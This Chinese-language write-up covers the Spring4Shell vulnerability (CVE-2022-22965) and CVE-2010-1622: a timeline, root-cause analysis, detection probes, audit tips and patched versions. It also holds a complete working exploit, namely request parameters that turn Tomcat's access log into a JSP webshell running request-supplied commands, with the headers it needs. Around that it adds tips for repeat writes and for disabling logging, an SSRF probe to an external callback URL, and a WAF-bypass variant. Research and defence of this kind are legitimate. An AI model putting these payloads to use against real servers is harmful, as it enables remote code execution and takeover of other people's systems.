漏洞时间线

  • CVE-2010-1622 Spring第一次爆发漏洞,同时也影响了Struts(S2-020/S2-021/S2-022)

  • 2017年9月10日 Oracle官方发文解释Java 9的module新特性

  • 2022年3月29日 蚂蚁集团报告漏洞(CVE-2022-22965)

POC

  • CVE-2010-1622/Struts(S2-020/S2-021/S2-022)

    class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    class.classLoader.resources.context.parent.pipeline.first.prefix=shell
    class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
    class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
    class.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
  • CVE-2022-22965在Java9新增了module之后:

    class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

    然后访问webshell的时候,除了提供cmd的参数之外,还需要设置header头:

    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }

利用条件

  • Java版本>=JDK9
  • Spirng运行在Tomcat环境下,以War包部署(Jar包的时候不存在)
  • 方法入参是非基础类,不能是String,int等
  • 接口使用了POJO参数绑定

注意事项

  • 如果要多次写文件,需要修改fileDateFormat属性,最终会拼接到文件后缀里面
  • 利用日志写入shell的时候,生成的文件会不断写入,可以关闭日志记录: class.module.classLoader.resources.context.parent.pipeline.first.enabled=false

漏洞分析

当Content-Type是application/x-www-form-urlencoded的时候,会使用ServletModelAttributeMethodProcessor解析请求,然后进入参数绑定:org.springframework.web.bind.ServletRequestDataBinder#bind(ServletRequest request):

此时的mpv保存了请求里面的key-value参数,接着进入org.springframework.validation.DataBinder#doBind(MutablePropertyValues mpvs)对获取到的mpvs进行初步校验:

将mpvs绑定到bean对象上setPropertyValues:

org.springframework.beans.AbstractPropertyAccessor#setPropertyValues(org.springframework.beans.PropertyValues, boolean, boolean)

然后进入到setPropertyValue

org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue(org.springframework.beans.PropertyValue)

进入到: getPropertyAccessorForPropertyPath:

org.springframework.beans.AbstractNestablePropertyAccessor#getPropertyAccessorForPropertyPath(String propertyPath)

这个时候propertyPath是http请求里面注入的变量: class.module.classLoader.resources.context.parent.appBase,此时对变量进行分割,获取第一个class的偏移量,到最后都会进入到org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults里面进行验证,这里是判断当获取到的对象是一个Class而又获取ClassLoader属性,则直接跳过。

Struts出现漏洞的时候,有师傅写过jsp获取可用的环境变量的脚本,可以获取可用的上下文环境变量。

代码审计phith0n师傅对漏洞的总结:

在Java里面,所有的Java对象都有一个getClass()方法,获取对象的Class,Class又有getClassLoader()方法获取Class的ClassLoader,而在Tomcat中,一些和Tomcat的全局配置相关的属性都保存在org.apache.catalina.loader.ParallelWebappClassLoader这个Tomcat专属的ClassLoader的一些属性、子孙属性里。
那么,我们就可以通过person.getClass().getClassLoader().getXXX()来调用ParallelWebappClassLoader中的一些敏感属性最后通过修改Tomcat的配置来执行危险操作。这个调用链放在用户数据包里就是class.classLoader.XXX

漏洞判断

根据状态码

  • 返回500: class.module.class.module.classLoader.xx
  • 返回400: class.module.classLoader.DefaultAssertionStatus=nonsense
  • 返回302: class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled=true

返回302的时候需要同时满足三个条件:

  1. 请求路径不能以/结尾
  2. context的mapperDirectoryRedirectEnabled属性为true
  3. 访问的地址是存在的一个目录

class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled=false的时候,访问一个存在的目录是404:

class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled=true

通过SSRF

不推荐使用,如果应用使用了configFile会破坏运行环境:

class.module.classLoader.resources.context.configFile=https://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx

白盒

使用@RequestBody

先检查项目中使用POJO的接口,然后再检查是否使用了@RequestBody注解。使用@RequestBody注解的接口是接收JSON和XML等请求,底层使用RequestResponseBodyMethodProcessor处理请求,而Content-Type是application/x-www-form-urlencoded的时候,会使用ServletModelAttributeMethodProcessor解析请求。所以使用@RequestBody的时候不存在漏洞,可以使用egrep初步匹配之后,排查没有使用@RequestBody的接口:

egrep -5  -ri "@(Get|Post|Put|Delete|Patch|Request)Mapping" .

在使用@RequestBody的时候,如果自定义了参数解析器,也就是说后端可以同时接收application/jsonapplication/x-www-form-urlencoded这两种请求,也可能存在漏洞。在测试JSON接口的时候可以改变Content-Type为application/x-www-form-urlencoded做一次尝试。

SpringMVC的HandlerMethodArgumentResolver是方法参数解析器接口,这个接口是SpringMVC参数解析绑定的核心接口,内置了很多类完成参数解析

private List<HandlerMethodArgumentResolver> getDefaultArgumentResolvers() {
		List<HandlerMethodArgumentResolver> resolvers = new ArrayList<>(30);

		// Annotation-based argument resolution
		resolvers.add(new RequestParamMethodArgumentResolver(getBeanFactory(), false));
		resolvers.add(new RequestParamMapMethodArgumentResolver());
		resolvers.add(new PathVariableMethodArgumentResolver());
		resolvers.add(new PathVariableMapMethodArgumentResolver());
		resolvers.add(new MatrixVariableMethodArgumentResolver());
		resolvers.add(new MatrixVariableMapMethodArgumentResolver());
		resolvers.add(new ServletModelAttributeMethodProcessor(false));
		resolvers.add(new RequestResponseBodyMethodProcessor(getMessageConverters(), this.requestResponseBodyAdvice));
		resolvers.add(new RequestPartMethodArgumentResolver(getMessageConverters(), this.requestResponseBodyAdvice));
		resolvers.add(new RequestHeaderMethodArgumentResolver(getBeanFactory()));
		resolvers.add(new RequestHeaderMapMethodArgumentResolver());
		resolvers.add(new ServletCookieValueMethodArgumentResolver(getBeanFactory()));
		resolvers.add(new ExpressionValueMethodArgumentResolver(getBeanFactory()));
		resolvers.add(new SessionAttributeMethodArgumentResolver());
		resolvers.add(new RequestAttributeMethodArgumentResolver());

		// Type-based argument resolution
		resolvers.add(new ServletRequestMethodArgumentResolver());
		resolvers.add(new ServletResponseMethodArgumentResolver());
		resolvers.add(new HttpEntityMethodProcessor(getMessageConverters(), this.requestResponseBodyAdvice));
		resolvers.add(new RedirectAttributesMethodArgumentResolver());
		resolvers.add(new ModelMethodProcessor());
		resolvers.add(new MapMethodProcessor());
		resolvers.add(new ErrorsMethodArgumentResolver());
		resolvers.add(new SessionStatusMethodArgumentResolver());
		resolvers.add(new UriComponentsBuilderMethodArgumentResolver());
		if (KotlinDetector.isKotlinPresent()) {
			resolvers.add(new ContinuationHandlerMethodArgumentResolver());
		}
        ...

比如:

  • RequestParamMethodArgumentResolver: 负责解析 @RequestParam 标记的参数
  • ServletRequestMethodArgumentResolver: 负责解析入参为 HttpServletRequest、HttpMethod 等类型的参数
  • ServletModelAttributeMethodProcessor: 负责解析入参为 POJO 类的参数
  • RequestResponseBodyMethodProcessor: 负责解析入参为 @RequestBody 标注的参数

使用consumes的时候

@RequestMapping(value = "/rapid7/v1", method = {RequestMethod.GET, RequestMethod.POST}, consumes = "application/json")
经过测试,未触发漏洞

WAF绕过

来自烽火台实验室的绕过

class.module.classLoader.resources.context.resources.context.parent.pipeline.first.pattern

漏洞修复

升级Spring Framework到v5.3.18或v5.2.20

Spring升级之后Tomcat也发布了新版本,在Tomcat 9.0.62版本对getResources()方法的返回值做了修改,直接返回null。WebappClassLoaderBaseParallelWebappClassLoader的父类,在Web应用部署方式中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。

其它中间件的部分环境变量可以参考struts-tester

RWCTF 4th Desperate Cat Writeup的实际案例的利用原理也差不多,但是更有趣。

参考链接

⬆︎TOP